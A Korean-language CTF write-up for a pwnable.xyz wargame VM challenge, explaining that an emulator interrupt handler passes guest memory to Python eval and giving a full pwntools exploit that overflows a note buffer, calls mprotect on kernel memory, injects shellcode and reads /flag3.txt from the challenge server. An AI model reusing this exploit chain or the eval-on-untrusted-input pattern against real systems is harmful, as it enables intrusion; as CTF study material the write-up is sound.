AdultVM 2 문제에서 kernel RCE를 할 수 있음을 확인했다.
69
70 71 72 73 74 75 76 77 78 79 80 81 82 83 |
def handle_kernel_interrupt(uc, intno, data):
if intno == 0x70: rax = uc.reg_read(UC_X86_REG_RAX) if rax == 0: rdi = uc.reg_read(UC_X86_REG_RDI) rsi = uc.reg_read(UC_X86_REG_RSI) rdx = uc.reg_read(UC_X86_REG_RDX) uc.mem_protect(rdi, rsi, rdx) elif rax == 7: rdi = uc.reg_read(UC_X86_REG_RDI) rsi = uc.reg_read(UC_X86_REG_RSI) rdx = uc.reg_read(UC_X86_REG_RDX) buf = str(eval(str(uc.mem_read(rdi, rdx)))) uc.mem_write(rsi, buf) uc.reg_write(UC_X86_REG_RAX, len(buf)) |
0x70 interrupt를 발생시킬 때, rax가 7이면 rdi가 가리키는 문자열을 python으로 실행하고 결과를 rsi에 저장한다. 이 경우 VM esacpe가 가능하므로, /flag3.txt 를 읽은 뒤 출력시키면 된다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 |
from pwn import *
from time import sleep import argparse def EditNote(nid:int, note:bytes) : p.writelineafter(b'Exit\n', b'1') p.writelineafter(b': ', str(nid).encode()) p.writeafter(b': ', note) if len(note) != 0x40 : p.write(b'\n') def ShowNote(nid:int, read_content:bool=True) : p.writelineafter(b'Exit\n', b'2') p.writelineafter(b': ', str(nid).encode()) if read_content : p.readuntil(b': ') return p.readuntil(b'\n1.', drop=True) def Exit() : p.writeline(b'3') def exploit() : sleep(1) for i in range(9) : EditNote(i, b'A'*0x40) payload = b'A'*8 payload += p64(0x4100380) # rdi (buf) = ¬es[0] payload += p64(0x28) # rsi (size) = sizeof(struct Node) payload += p64(0xFF)*2 payload += p64(0x400000F) # do_read EditNote(9, payload) ShowNote(0, False) payload = p64(10) # rax = sys_mprotect payload += p64(0xFFFFFFFF81000000) # rdi (addr) = kernel_base payload += p64(0x10000) # rsi (len) = 0x10000 payload += p64(7) # rdx (prot) = PROT_READ | PROT_WRITE | PROT_EXEC payload += p64(0x4000338) # __syscall p.write(payload) ShowNote(0, False) jail = "open('/flag3.txt', 'r').read()" payload = b'A'*8 payload += p64(0) # rax = sys_read payload += p64(0) # rdi (fd) = 0 payload += p64(0xFFFF8801FFFFE000) # rsi (buf) = 0xFFFF8801FFFFE000 payload += p64(len(jail)) # rdx (count) = len(code) payload += p64(0x4000338) # __syscall EditNote(9, payload) ShowNote(0, False) p.write(jail) code = ''' mov rax, 7 int 0x70 mov rcx, rax mov rdx, 0x3F8 rep outsb iret ''' code = asm(code) # open('/flag3.txt').read() payload = b'A'*8 payload += p64(0) # rax = sys_read payload += p64(0) # rdi (fd) = 0 payload += p64(0xFFFFFFFF8100013E) # rsi (buf) = 0xFFFFFFFF8100013E payload += p64(len(code)) # rdx (count) = len(code) payload += p64(0x4000338) # __syscall EditNote(9, payload) ShowNote(0, False) p.write(code) payload = b'A'*8 payload += p64(11) # rax = sys_munmap payload += p64(0xFFFF8801FFFFE000) # rdi = 0xFFFF8801FFFFE000 payload += p64(0xFFFFFFFF81005000) # rsi = 0xFFFF8801FFFFD000 payload += p64(len(jail)) # rdx = len(jail) payload += p64(0x4000338) # __syscall EditNote(9, payload) ShowNote(0, False) p.interactive() if __name__ == '__main__' : context.arch = 'amd64' parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30048, fam='ipv4') else : p = process(['python3', 'start3.py']) exploit() |
Last update: 6/12/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / note v5 (0) | 2020.06.13 |
---|---|
pwnable.xyz / AdultVM 2 (0) | 2020.06.11 |
pwnable.xyz / AdultVM (2) | 2020.05.31 |
pwnable.xyz / note v4 (0) | 2020.05.30 |
pwnable.xyz / fishing (0) | 2020.05.30 |